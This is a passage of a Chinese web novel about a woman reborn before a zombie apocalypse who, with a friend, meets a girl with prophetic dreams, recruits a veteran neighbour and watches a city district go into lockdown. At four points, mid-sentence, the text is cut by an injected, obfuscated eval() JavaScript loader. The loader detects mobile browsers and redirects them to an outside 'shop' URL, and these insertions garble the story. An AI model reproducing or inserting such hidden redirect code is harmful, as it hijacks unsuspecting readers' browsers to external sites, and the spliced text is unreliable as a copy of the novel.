“这也是我想问你们的问题。”他一改之前表现出来的散漫状态,严肃地说,“抱歉,我花了点时间查过你们。温小姐,一个多月前,你突然辞掉工作,在原来的住所呆了几天后就迅速搬家、换手机号,像是要和原来的生活彻底断绝关系。” 他的身体往前倾了一点。 “而林小姐,正好在这个时候认识了温小姐,紧接着生活习性大改,经常出门。后面还通过某些渠道对此前毫无接触的城东研究所进行了举报。” “所以,我想问问温小姐……你怎么知道的?” 咖啡厅里很安静,只有旋律优美的纯音乐在空气里流淌。 窗外汽车和行人来来往往,车灯在玻璃上划了一道,然后消失。 三人沉默地坐了很久,久到她们手上没喝完的热水都慢慢凉了。 “如果我说,”温枝终于开口,声音有些艰涩,但异常坚定,“我经历过一次末世,你信吗?” 边止礼看着她,没说话。 温枝继续说:“我经历过一次,所以我知道。而你的妹妹,很可能就是——觉醒了某种特殊能力。” 她顿了顿,肯定道;“你妹妹不只是单纯做梦,而是某种‘预知’,她预知到了末世的来临。” “不知道为什么,现在的局势和我记忆中的有些偏差,按我的记忆,丧尸病毒至少是在四十一天之后爆发的,现在……太早了。” 这时,边止礼终于开口问道:“在你记忆中,边家有扮演什么样的角色吗?——实话说,我怀疑,前世这个时候也已经出现感染者了,只是初期病例太少、进展太慢,被压了下来。就像……二零年初的疫情一样。” 林知晓顺着他的话头说:“很有可能。起初大家都以为只是一场普通的流感,殊不知自己早已迎在历史巨浪的前方。” 温枝终于从回忆的状态中抽离出来,回答边止礼刚刚的问题:“边家,我有点印象。你们家在初期因为城东研究所遭受了全面抵制,后面也是组织了许多大规模物资援助和救援实施,才慢慢扭转风评。在我死之前,你们家好像已经在和官方一起研究疫苗了。” 边止礼沉默了。 过了很久,他靠回椅背上,揉了揉眉心,长长地出了一口气。 “果然。”林知晓和温枝对视一眼。 “果然?” 边止礼看着她们,忽然笑了。是那种如释重负的笑。 “知予说,她不是一个人。”他的声音很轻,像是在讲睡前童话,“她说她还看到了许多和她一样具有特殊能力的人,她求我帮我她找到这些人。” “然后——我找到了你们。找了一个多月。” 林知晓愣了一下:“一个多月?” “其实你们已经足够小心了,”边止礼笑了笑,“囤货分批,采购点分散,没有大额贷款,一切合法合规。” 林知晓没说话。 “如果不是我们家恰好知道点内情,城东研究所又恰好是我们家的产业,而这时又恰好有人举报了你们——我大概还在大海捞针。” “付成瑾。”温枝低声说。 “对,”边止礼点点头,“他举报你们以后,信息进了系统,我动了些资源查到了。” 温枝低下头,没说话。 林知晓听着他们的对话,脑子里却在想另一件事:边止礼找她们找了一个多月。一个多月前,她们才刚刚开始囤货,才刚刚认识。那时候边知予已经做噩梦做了两个月。 所以边止礼不是被她们吸引来的,是被“举报”这件事炸出来的。 如果没有付成瑾举报,他可能到现在还找不到她们。这让她既庆幸,又不安。 她看向再次陷入沉默的温枝,甚至不需要去触碰也知道她在想什么——她看向再次陷入沉默的温枝。付成瑾的举报差点毁了她们,却也把边止礼和边知予炸了出来。 命运这种东西,有时候真是奇怪。 “边先生,你妹妹现在情况怎么样?”林知晓开口问。 边止礼的脸色暗了一瞬,旋即答道:“不太好……” “怎么说?”两人不约而同地问道。 “她知道有大事即将来临,但被关在家里什么都做不了,每天晚上都睡不着,不小心睡着了也会突然惊醒。母亲心疼她,为此掉了很多眼泪,父亲依然觉得她是得了精神疾病,让心理医生给她治疗。” “他们都不信她,只有我,只有我相信她。” “知予一直是个很懂事的女孩,我知道他不会拿这种事情开玩笑。我怕她再这样等下去会真的疯掉……所以,我希望你们能去见见她,哪怕只是陪她说说话。” “……什么时候?” 边止礼喝完了杯里的最后一点咖啡,微微起身,说:“现在。” “现在?” “我希望,她能尽早好起来。” --- 边止礼的车停在一栋独栋别墅门口。 夜色里,房子亮着灯,从窗户能看见有人走动。但整栋房子给人一种奇怪的感觉——太安静了,安静得不像有人住。 “到了。”边止礼熄了火,转头看她们,“我父亲不知道我来找你们。他……对这些事情比较反感。” 林知晓点点头,没多问。 三人下车,穿过小花园,走进大门。客厅里坐着一个中年女人,穿着家居服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324000|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼睛红肿,一看就是刚哭过。看见边止礼带陌生人进来,她愣了一下。 “止礼,这是……?” “妈,这是知予的朋友。”边止礼说,“来看看知予。” 女人看着林知晓和温枝,目光里带着警惕。她张了张嘴,想说什么,最后也只是点了点头。 “她在楼上。一直没睡。” 边止礼带着她们上楼。 楼梯尽头是一扇关着的门。边止礼敲了敲。 “知予,是我。” 里面没声音。 他轻轻推开门。 房间不大,布置得很温馨,但窗帘拉得严严实实,台灯开着,光晕只照亮床周围一小块地方。床上有一团蜷缩的影子,背对着门,看不清模样。 “知予。”边止礼走进去,在床边坐下,“我带了两个人来见你。” 床上的人没动。 “她们和你一样。”边止礼说,“知道一些事情。” 那个人动了一下。 然后慢慢转过来。 林知晓看见一张苍白的脸,嘴唇干裂,两个大大的黑眼圈,看样子很久没睡觉了,头发也乱糟糟地贴在脸上。她看起来比照片上瘦很多,也憔悴了很多。清瘦的脸上看不见那甜美笑容的影子。 她看着林知晓和温枝,眼睛慢慢睁大。 “你们……”她的声音很哑,“你们也是?” 温枝往前走了一步,在床边蹲下来,和她平视。 “我叫温枝。”她说,“是从末世回来的。” 边知予盯着她,看了很久。 然后她忽然笑了。忍耐了很久之后终于笑出来,笑得太剧烈、太突然,居然笑得咳嗽起来。紧接着,眼泪就掉下来了。 “咳咳咳、我就知道……”她流着眼泪,脸上却还是激动的笑容,“我就知道我不是一个人咳咳咳……” 温枝没说话,任由边知予靠在她身上,然后伸出手,轻轻拥住她。 边知予攥住她的衣角,攥得很紧,像是怕她跑掉。 林知晓站在一旁,看着这一幕。 她忽然想起第一次见温枝的时候,那时候温枝的眼神,和现在边知予的眼神,一模一样。 边止礼站起来,走到林知晓身边。 “谢谢。”他压低声音。 林知晓没说话。 过了很久,边知予终于松开手,擦了擦眼泪。 “抱歉弄脏了你的衣服……你们、你们知道多少?”她还有些哽咽,但已经能够说出清晰的话。 温枝摇摇头示意没关系,然后回头看了林知晓一眼。 林知晓走过去,在床边坐下。 “我们知道的不一定比你多。”她说,“但我们知道一件事。” 边知予看着她。 “你不是一个人。”林知晓也伸出手抚上她的手,读取她澎湃的心声,读到她的痛苦,读到她的自我怀疑,然后轻声安慰着。 “与此同时,绝对还有和你、和我们一样的人,隐藏在人群里。你并不孤单,更不是病了。” 边知予愣了一下,然后眼泪又涌出来。 但她这一次,松快地笑了起来。 10. 活着 那天晚上,她们在边家待了很久。 边知予说了很多——她梦到的东西,她画的地图,她记住的时间点。有些和温枝的记忆对得上,有些对不上。 “我姑且你的特殊能力为:梦境预知,那么,你梦到的丧尸病毒是什么时候爆发的?”温枝问。 “四十三天后。”边知予说。 温枝的脸色变了一瞬。 “怎么了?”旁边的边止礼开口问。 温枝沉默了几秒,才面色凝重地说:“我记忆中是四十一天后。” 房间里安静下来。 边知予看看温枝,又看看林知晓。 “那……哪个是对的?” 没有人能回答。 边止礼开口:“也许两个都对。” 她们看着他。 “也许病毒一直在潜伏,”他说,“只是爆发的时间点,每个人感知到的不一样。” 林知晓想了想,问边知予:“你梦到的第一个感染者,是什么样的?” 边知予闭上眼,像是在回忆。 “一个老人……六十多岁,女的……在城东研究所附近晕倒,然后发烧……” 温枝的脸色又白了一分。 林知晓看着她,不需要触碰也知道她在想什么——边知予梦到的,和边止礼说的那个老太太,一模一样。 “你什么时候开始做这个梦的?”温枝问。 “两个月前。” 两个月前。那时候温枝还没重生,林知晓还不认识她,边知予就已经开始梦到末世了。 林知晓脑子里忽然闪过一个念头:如果边知予的梦是真的,那温枝的重生算什么?是巧合,还是…… 她没往下想。但那个念头像一根刺,扎在脑子里,暂时拔不出来。 边知予忽然开口,看着温枝。 “你上辈子……见过我吗?” 温枝愣了一下。 “我不知道。”她说,“我死的时候,末世第三年。那时候边家已经在和官方一起研究疫苗了,但我没见过你。” 边知予低下头,像是在自言自语。 “那我上辈子……活着吗?” 温枝沉默了很久。 “我也不知道。”她最终说,“但你这辈子,一定要活着。” 边知予抬起头,看着她。 温枝说:“你要好好活着,去等待那个,重见天光的未来。不用怕,我会帮你。” 林知晓在旁边听着这句话,忽然觉得耳熟。 她想起自己在鼓励温枝时,搜肠刮肚的那些心灵鸡汤。 她想起温枝说过的话。 原来这些话,是可以传给下一个人的。 此后,话题持续了很久,久到他们从边家出来的时候,已经快十二点了。 因为送她们到家的提议被婉拒,边止礼只送她们到了门口。 “今天谢谢你们。”他无比真诚地说。 林知晓摇摇头:“不用谢。” 边止礼沉默了几秒,忽然问:“你们接下来打算怎么办?” 林知晓看着他。 “继续准备。”她说,“不管还有多少天。” 边止礼点点头。 “如果需要帮忙,随时找我。”他从口袋里掏出两张名片,递给她们,“上面有我的私人号码,微信也是。” 林知晓接过,看了一眼,收进口袋。 温枝也接过,握在手里,没说话。 边止礼看了她一眼。 “温小姐,”他说,“我能问你一个问题吗?” 温枝抬起头。 “你恨那个人吗?”边止礼问,“举报你们的那个。” 温枝沉默了很久。 久到林知晓以为她不会回答了。 “恨。当然恨。”她说,“但我目前没有对抗他的办法,现在我更想活着,活到我能够亲手解决他。” 她的眼神是从未有过的冷。 边止礼看着她,点了点头。 “那就活着。”他说,“在此之前,我会尽力帮你干扰他。” 温枝愣了一下,然后很畅快地笑了。这大概一整天里她最真实的笑容。 她朝边止礼挥挥手,坐上了车。 回去的路上是林知晓开车,开的是向边止礼借的小轿车。 温枝坐在副驾驶,看着窗外。 车灯照亮前方的路,路灯一盏一盏掠过。 “林知晓。”温枝忽然开口。 “嗯?” “我今天说错了一句话。” 林知晓侧过脸看她。 温枝没回头,还是看着窗外。 “我说‘我会帮她活下去’。”她有些自嘲,“但其实我连自己能不能活命都没法保证。” 林知晓沉默了几秒。 然后她说:“我们会一起活着的。” 温枝转过头。 林知晓没看她,只是盯着前方的路。 “你,我,边知予,”她说,“我们都会活着的。” 温枝看着她,没说话。 过了很久,她轻轻“嗯”了一声。 车驶进夜色里。 路灯一盏一盏往后掠去,像在倒数着什么。 距离末世还有——没有人知道确切的天数了。 但她们还活着。 这就够了。 --- 接下来几天,风平浪静。 一开始。她们还在警惕付成瑾的下一步动作,结果,一天,两天,五天,十天,十五天什么也没发生。 十五天。 整整十五天,什么都没发生。 林知晓每天醒来第一件事就是看手机——没有陌生号码,没有派出所的电话,没有任何关于“举报”的后续。温枝那边也一样。 她们会时常警惕身后有没有人跟踪,行事也更加小心。 但付成瑾像是人间蒸发了,江黎黎的朋友圈停在十五天前,是一张咖啡店的自拍,配文“岁月静好”。 中途她们也和边止礼、边知予两兄妹联系过,除了了解到边知予最近状态好了很多,没再被关在家里,父亲也没再强迫她看心理医生,一切如常。 静得让人发毛。 “也许边止礼真的摆平了?”温枝窝在防空洞的折叠床上,手里拿着一包压缩饼干,没拆。 林知晓正在清点物资,头也没抬:“也许。” “也许付成瑾就是嘴贱举报一下,发现没用就算了?” “也许。” “也许他憋了个大的?” 林知晓停下动作,看了她一眼。 温枝苦笑:“你也是这么想的对不对?” 林知晓没回答。她把最后一箱水码好,拍了拍手上的灰,在温枝旁边坐下。 “按边知予的梦,还有28天,按你的记忆,还有26天。”林知晓掰着手指说,“差两天。” 温枝沉默了一会儿:“也许我们该按最早的时间算。” 防空洞里很安静。应急灯的光晕只照亮周围一小片地方,角落里堆着她们这十几天陆续运进来的东西——越来越多了,多到让人有一种“也许真的能活下去”的错觉。 “你说,”温枝忽然开口,“如果末世不来,我们囤这些干什么?” 林知晓侧过脸看她。 “开个户外用品店?”温枝扯了扯嘴角,“我俩当老板,一人一辆货车,送货上门。” 林知晓没忍住,笑了一下。 温枝也笑了。笑着笑着,笑容就淡了。 她翻了个身,盯着头顶的水泥穹顶。 “我每天都在想,”她说,“他到底在等什么。” 林知晓知道她说的是付成瑾。 “也许他真的被边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324001|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止礼拦住了。”林知晓说,“边家的能量,你应该有数。” “也许。”温枝把压缩饼干扔到一边,躺下去,盯着头顶的水泥穹顶,“但这种什么都不知道的感觉,太难受了。” 林知晓没说话。 她也有这种感觉。但她说不出“别怕”之类的话——这种时候,谁都知道“别怕”是废话。 “走吧。”她站起来,“回去。明天再来。” 温枝躺着没动。 “再躺五分钟。”她说,“这里比外面安静。” 林知晓看着她。 温枝的脸被应急灯的光照着,一半亮,一半暗。这十几天她好像又瘦了一点,下巴尖了,但那双眼睛神采奕奕,比她最初见到的状态好了很多。 林知晓没催她。她靠在墙上,闭上眼睛,听着防空洞里自己的呼吸声。 真的很安静。 安静得让人能听见自己的心跳。 五分钟后,温枝自己爬起来了。 “走吧。我觉得我们该去找找他。” “啊?” “不是付成瑾,是你的那个邻居。”温枝边穿外套边说,“我想,拉他入伙。” …… 她们坐车回了林知晓家,坐在沙发上讨论对策。 “上次你试探过他,说他是好人。”温枝说,“现在付成瑾盯着我们,边止礼那边也有自己的麻烦,多一个人,多一条路。” 林知晓沉默了几秒。 “他叫什么我都不知道。” “那就去问啊。”温枝把泡面碗往前一推,“走,现在去。” 林知晓没动。 “走啊。” “为什么是我?” “因为他认识你。”温枝理直气壮,“你住了两年,他帮你搬过行李,你们还在电梯里打过招呼——这还不熟?” 林知晓看着她。 温枝也看着她。 两个人对视了三秒。 “……行吧。”林知晓站起来。 温枝翘起唇角,说:“别担心,我会看着你给你打气的。” 说着她就推着林知晓站到那扇门前,然后迅速缩回门。 林知晓站在那里,手抬起来,又放下。 这次又要找什么敲门的理由?上次是请人家帮忙,这次呢? 她想了想,转身回屋,从冰箱里拿出一篮草莓——前两天买的,还没动过。 然后她再次站在那扇门前,敲了三下。 门开了。 男人站在门内,穿着一身宽松的灰色家居服。他看见林知晓手里的草莓,愣了一下。 “怎么了?” “这个……”林知晓把草莓往前递了递,“谢礼。上次的事。” 林知晓紧张得眼神乱飘,无意中看到了玄关处放着的快递上写着“明朝”两个字。 明朝?他的名字叫明朝吗?父母这么喜欢这个朝代吗?好少见的姓氏,好奇怪的名字…… 男人看着她,没接递到面前的草莓。 “上次什么事?” 林知晓噎了一下。上次她敲他的门,问他城东研究所的事,他后来帮忙了——但帮忙的方式是什么,她也不知道。新闻只说有人去查了,没说谁查的。 “……就是,谢谢。”林知晓开口,为表郑重,她还加上了名字,“谢谢你,明朝先生。” 男人沉默了两秒,“你叫我什么?” “明朝?” “我叫明朝,”他说,“今朝的朝。” 林知晓的脸腾地烧了起来。自作聪明乱念什么啊!!! 明朝似乎早就习惯被误会,看到她尴尬得无地自容的状态,嘴角反而上扬了些,然后伸手接过草莓。 “进来吧。” 林知晓跟着他走进去,留意到他并没有关门的意思,而对门一直盯着这边的温枝也能看到里面。 11. 入伙 客厅还是那么简洁。沙发上多了一个靠垫,茶几上放着两三本书。林知晓瞥了一眼,没说话。 “坐。”男人说。 她在沙发上坐下。他在对面坐下,把草莓放在茶几上,没动。 “林知晓。”她说,“知道的知,知晓的晓。” 明朝点点头,说:“我知道。” “你知道?” “听到你那位朋友叫过你。”明朝自然道。 “噢……” 两个人沉默了几秒。 “之前的事情,真的很感谢。” “……不用谢我什么,我只是做了一点我能做的。能成功是你们自己的功劳。”他顿了顿,继续说:“我大概知道你们的事情……以及来找我是想干什么。” 明朝站起来,走到窗边,把窗帘拉开一点,往外看了一眼。然后他转过身,看着林知晓。 “你们被盯上了,姓付的。” 林知晓的心跳漏了一拍。 “你——” 明朝说:“两天前,有人在楼下转悠,拿着手机对比门牌号。我下去扔垃圾的时候,他看了我一眼,然后走了。” “出于职业习惯,我去查了下。” 林知晓的手攥紧了衣角。 “你为什么告诉我这些?”她问。 明朝沉默了几秒。 “因为你们提醒过我。”他说,“囤货的事。” 林知晓愣了一下。 “那不算提醒——” “算。”明朝打断她,“你们没说原因,但说了。我听不听是我的事,但你们说了。” 他走回沙发,重新坐下。 “很抱歉,现在才跟你们说。”明朝说,“我通过家里的一些人脉,和上面反映过了异常情况。” 林知晓愣了一下:“你……” “我没有说你们。”他打断她,“但上面查过来只是时间问题。你们的痕迹留得太多了。” 他看着她。 “——我相信,你们留这么多痕迹,也是为了这个吧?” “我可以告诉你们的是,上面已经察觉到了异常,应该不久就会有行动。也许过不了两天,官方的人就会找上你们。” “……所以,你们现在需要什么?” 林知晓被这些消息砸得晕乎乎的,看着他,吞了口唾沫。 这个人太直接了。直接得让人不知道该怎么接。 “……帮手。”她最终说,“我们需要帮手。” 明朝点点头。 “就这个?” “就这个。” “行。”他说,“算我一个。” 林知晓愣住了。 “你就这么答应了?” “不然呢?”明朝看着她,“你们的特殊性,也是我选择的理由。我有些想弄明白的事情,目前应该没有更好的选择了。” 林知晓张了张嘴,想问“什么特殊性”,但话到嘴边又咽了回去。 他既然没说,问了大概也不会说。 “所以,”明朝看着她,“我们接下来打算怎么办?” 林知晓注意到他的主语从“你们”变成了“我们”,深吸一口气。 “继续等。”她说,“等那个人动手,等末世到来。” “然后?” “然后……”她顿了顿,“然后让他自食恶果。” 明朝看着她,点了点头。 此时,林知晓微微眯眼,问:“你呢?” “我?” “除了你说的,想弄明白什么事,”她说,“你还想干什么?——抱歉,我需要提前问清楚。” 她一边说着,一边抓住了他放在桌边的手。 明朝的手轻轻颤了一下。 林知晓感觉到了。罪恶感瞬间涌上来——她催眠了自己几句:不是流氓不是流氓,这是正事,这是正事。 他沉默了几秒。 “活下去。”他说,“如果真有什么事,我想活下去。也想让该活的人活下去。” 林知晓愣了愣,不是因为他的话。 而是因为……他说的话居然和心中所想分毫不差。 她突然对温枝所说的“领导整个小区抵抗丧尸”有了实感。 旋即她另一只手也覆了上来,微微起身,拉着他的手上下摆动,“啊哈哈哈,那,以后就是同伴了,合租愉快…啊不是,合作愉快,明先生。” 明朝的手指蜷了蜷,在她松开之后立刻就收了回来,动作很不自然。 然后他沉默地拿出手机,和她交换了联系方式。 他快速说:“需要的时候,也可以敲我的门。” 林知晓站起来,往外走。走到门口,她忽然停下来,回头。 “那个草莓……” “明天还你篮子。”明朝说。 林知晓愣了一下,然后笑了。 “好。” 话毕,关上门,她就飞一般地窜回到自己屋里。 温枝在门后接应,随手把门带上之后立刻问她: “怎么样?你们进去以后我就不太听得清了。” “他答应了。” 温枝眼睛一亮:“真的?” “真的。”林知晓在沙发上坐下,“他告诉我,付成瑾的人前两天就来过了。而且……官方应该已经出现了特殊能力者,或者,已经发现了感染者,不久后就会有行动。” 温枝听完,沉默了几秒。 “他知道付成瑾的人来过?” “嗯。” “……官方也更快了。” “什么?” “这一世,官方发现异常的时间也提早了。”温枝抿抿唇,“我的记忆,不准确了。” 林知晓听后,无端心悸,想起他那双眼睛,平静,了然。 像是他早就知道会有这一天。 像是他只是在等她们开口。 她沉默了一会儿,带温枝走到阳台。 旁边的灯亮着。窗帘拉了一半,能看见人影晃动。 “蝴蝶效应,”林知晓说,“这一世必然会与你记忆中的世界渐行渐远。——不论如何,我们也多了一个情报来源……只是不知道他还知道多少。” 温枝顺着她的视线看向对面,那扇窗里的灯还亮着。 “不管他知道多少,”温枝说,“至少现在,他是我们这边的。” 林知晓没说话。 温枝看着她颇为凝重的表情,忽然笑起来:“我听到你们在门口的名字乌龙了,你看到他笑了吗?哈哈哈…没想到这看起来像个冰疙瘩的人也被你逗笑了。” 林知晓的脸又烧了起来,果然没法再凝重下去,“别说了啊啊啊——” 那个男人笑起来的时候,和平时完全不一样。平时像一块石头,冷硬、不动声色。但那一瞬间,他眼睛里有一点光。 很淡,但确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324002|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。 窗外的夜色很深。对面那扇窗的灯忽然灭了。 她看了一眼时间——十点整。作息规律得像上了发条。 “睡吧。”她故作正经地往屋里走,“明天还要去防空洞。” 温枝点点头,窝进沙发里。 距离她记忆中的末世只剩不到一个月。 …… 接下来的两天,一切如常。 第三天早上,林知晓是被手机震醒的。 她摸过手机,眯着眼睛看了一眼——本地新闻推送。 【快讯】城东区部分街道实施临时管制,官方称“疫情防控演练”,为期三天。 林知晓的睡意瞬间消失。 她坐起来,点开新闻。内容很短,说是为提升突发公共卫生事件应急处置能力,城东区将于今日起开展为期三天的“疫情防控演练”,部分街道实行临时交通管制,请市民配合。 评论区一片吐槽: “又演练?是又有什么事了吗?” “城东那边最近事真多,之前不是还查什么研究所吗?” “管他呢,反正别封我家门口就行。” 林知晓盯着屏幕,呼吸加重,手指也在微微发抖。 她想起明朝说的话——“上面已经察觉到了异常”。 这么快。 林知晓跳下床,冲出去敲温枝的门。 温枝睡眼惺忪地打开门,还没反应过来,就被林知晓一把拽住:“走,去城东。” “什么?” “来不及解释,路上说。” 十分钟后,她们已经坐在开往城东的车上。 但是还没到演练区域就被拦下来了。 路口站着十几个穿防护服的人,还有几个警察。警戒线拉得严严实实,过往车辆正在被劝返。 林知晓摇下车窗,一个穿着“卫健”马甲的工作人员走过来。 “前面演练,过不去了,掉头吧。” “里面怎么了?”林知晓问。 工作人员看了她一眼,公式化地回答:“疫情防控演练,为期三天。请配合。” 林知晓还想再问,后面有车按喇叭催她。她只能把车靠边停下,和温枝一起下车,走到警戒线旁边。 从这里能看到远处的街道——空荡荡的,一个人都没有。沿街的店铺全关着门,有几辆印着“疾控”字样的面包车停在路边,几个穿防护服的人正在往一栋居民楼里走。 温枝的手攥紧了林知晓的手臂。 “那个方向……”她的声音很轻,“是城中村。” 林知晓知道她说的是什么——边止礼说的那个老太太,就住在城中村。 她们站在警戒线外,看着那些穿防护服的人进进出出。 “诶到底是什么事啊警察同志?” “是不是疫情又反扑了?” “为什么在城东,和城东最近被封的研究所有什么关系吗?” 周围也有几个围观的居民,叽叽喳喳地东问西问,还举着手机拍照。 没一会儿就被警察劝走了。 “别拍了别拍了,演练有什么好拍的。” 林知晓没动。 她盯着那栋居民楼,脑子里闪过无数个念头。 感染者不止一个。 老太太之后,一定还有别人。 官方比她想象的动作更快——没有等爆发后再反应,而是提前介入了。 12. 官方行动 “真是……” “怎么了?”温枝问。 林知晓沉默了几秒。 她抿抿唇,说:“如果我们没有举报,没有囤货,没有遇到明朝……这一世,会是什么样?” 温枝没回答。 车窗外,警戒线还在那儿,穿防护服的人还在忙碌。 “至少现在,”温枝说,“有人在做他们该做的事。” 这时,手机又震了一下。又是一条推送——市卫健委发布通告:即日起,全市医疗机构加强发热门诊监测,请有发热症状的市民及时就诊。 下面还配了一张图,是某家医院门口排队的照片,队伍很长,每个人都戴着口罩。 评论区已经有人开始慌了: “怎么回事?又是演练又是发热监测?” “别吓我,我囤点药去。” “楼上囤什么药,真有病去医院啊。” 林知晓把手机递给温枝。 温枝看完,沉默了很久。 “官方在铺网了。”她说。 “嗯。” “比上一世早太多。” 林知晓站在警戒线外,盯着那栋居民楼看了很久。 穿防护服的人进进出出,动作很快,但看不出慌乱。像是演练,又不像。 “走吧。”温枝拉了拉她的袖子,“再站下去该被注意到了。” 她没动。 “林知晓。” 她这才回过神来,深吸一口气,转身跟着温枝上车。 车子掉头,往市区开。后视镜里,那些穿防护服的人越来越远,最后变成一个点,消失在视野里。 车里很安静。 温枝没问她在想什么。林知晓也没说。 但她知道温枝在想什么——那栋楼,那个城中村,那个老太太。如果感染者真的不止一个,如果官方真的提前介入了,那接下来的走向,会和自己记忆中的完全不一样,事情的不可控性,又增加了。 车开进小区,停好。 车上,温枝忽然笑了一下,说,“上一世这个时候,我还在跟付成瑾谈恋爱,每天想着周末去哪约会,完全不知道要发生什么。” 林知晓侧过脸看她。 “这一世,”温枝说,“我在防空洞里,你在旁边,明朝在对面,边止礼在帮忙,官方已经开始行动了。——一切都在向好的方向发展,不是吗?” 林知晓的嘴角牵起一个弧度,“但愿如此。” 两个人上楼,进门,在沙发上坐下。 “边止礼那边,”温枝突然开口,“要不要告诉他一声?” 林知晓想了想,拿出手机,给边止礼发了条消息:城东封了,你知道了吗? 几分钟后,边止礼回复:刚知道。知予昨晚又做噩梦了,没想到梦到的就是今天。 林知晓的手指顿了一下。 她把手机递给温枝。 温枝看完,脸色又白了一分。 “她梦到的是今天,”温枝低声说,“不是我记忆里的时间。” 林知晓没说话。 窗外天还亮着。楼下有小孩在玩,笑声远远传上来。一切都很正常。 但她们知道,不正常的事,已经开始了。 …… 那天晚上,林知晓失眠了。 她在床上翻来覆去,脑子里全是那栋楼、那些穿防护服的人、边止礼的那条消息。 凌晨两点,她爬起来,走到窗边。 对面那扇窗黑着。明朝应该睡了。 她盯着那片黑暗,忽然想起他说的那句话:上面已经察觉到了异常。 他是怎么知道的?他说的“家里的人脉”,到底有多大的能量? 她想起握手时读到的那句话——活下去,让该活的人活下去。 窗外很安静。路灯亮着,树影一动不动。 她站了很久,然后回到床上,闭上眼睛,强迫自己睡去。 …… 第二天早上,她的手机又响了。 还是本地新闻推送。 【最新】城东区“疫情防控演练”延长两天,范围扩大至周边两个街道。请市民配合,不信谣不传谣。 林知晓盯着屏幕,心跳又快了起来。 延长。扩大。 不是演练。 她跳下床,打开门,发现温枝已经站在客厅里,手里也握着手机。 “你看到了?” 温枝点点头。 两个人对视了一眼,什么都没说。 就在这时,门铃响了。 林知晓走过去,打开门。 门外站着明朝。 他穿着黑色的外套和军绿色工装裤,站在门口。表情算不上好看。 他看着她,沉默了两秒。 “城东的事,你们知道了?” 林知晓点点头。 “方便进去说吗?”他问。 林知晓顿了顿,随即侧身让他进来。 明朝走进来,在玄关站了两秒,目光扫过客厅——很干净,看不出囤货的痕迹。他点点头,像是确认了什么,然后走到沙发边,在单人椅上坐下。 温枝看着他,没说话。 林知晓把篮子放到厨房,走回来,在温枝旁边坐下。 三个人沉默了几秒。 “城东那个演练,”明朝开口,“不是演练。” 林知晓和温枝对视一眼。 “我知道。”林知晓说。 明朝看了她一眼。 “你们知道多少?” 林知晓想了想,决定挑能说的说:“那里有一个感染者。老太太。两天前出现的。” 明朝点点头。 “不止一个。”他说。 林知晓的心跳漏了一拍。 “昨晚又出现了三个。”明朝的语气很平静,像在说天气预报,“都在那个城中村。和那个老太太有过接触的。官方现在封锁的区域,就是他们活动过的范围。” 温枝的手攥紧了沙发垫。 “你怎么知道的?”林知晓问。 明朝看着她,沉默了两秒。 “我退伍前,隶属的单位和卫健委有合作。”他说,“以前的战友,现在在里面。” 林知晓愣了一下。 “你——” “他们并不知道太多,”明朝认真的地说,“但你们要做好被调查的准备……如果需要面临选择,我希望你们都是出自本心的。” “没有人必须要做救世主。” 听罢,温枝忽然开口:“那……上面知道了些什么?知道这不是普通的传染病吗?” 明朝沉默了一会儿。 “知道。”他说,“实验室已经出结果了。不是已知的任何一种病毒。” 客厅里安静得能听见墙上挂钟的滴答声。 林知晓深吸一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324003|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “然后呢?他们会怎么做?” 明朝看着她。 “更多的我也没法了解到了,这是我想来问你们的。”他说,“你们知道的,应该比我多。” 林知晓张了张嘴,不知道该从何说起。 温枝忽然笑了,笑得有些无奈。 “我们知道的,可能已经不准确了。” 明朝的眉毛抬了抬。 温枝低下头,看着自己的手指。 “我记忆里的时间,是四十一天后。”她说,“但现在,感染者已经出现了。” 她顿了顿。 “我不知道接下来会发生什么。” 明朝沉默了几秒,居然没对她的说法产生任何意外的表情。 然后他点点头。 “那就尽早最好准备。”他说,“让我们有更加充足的底牌面对风险。” 他站起来。 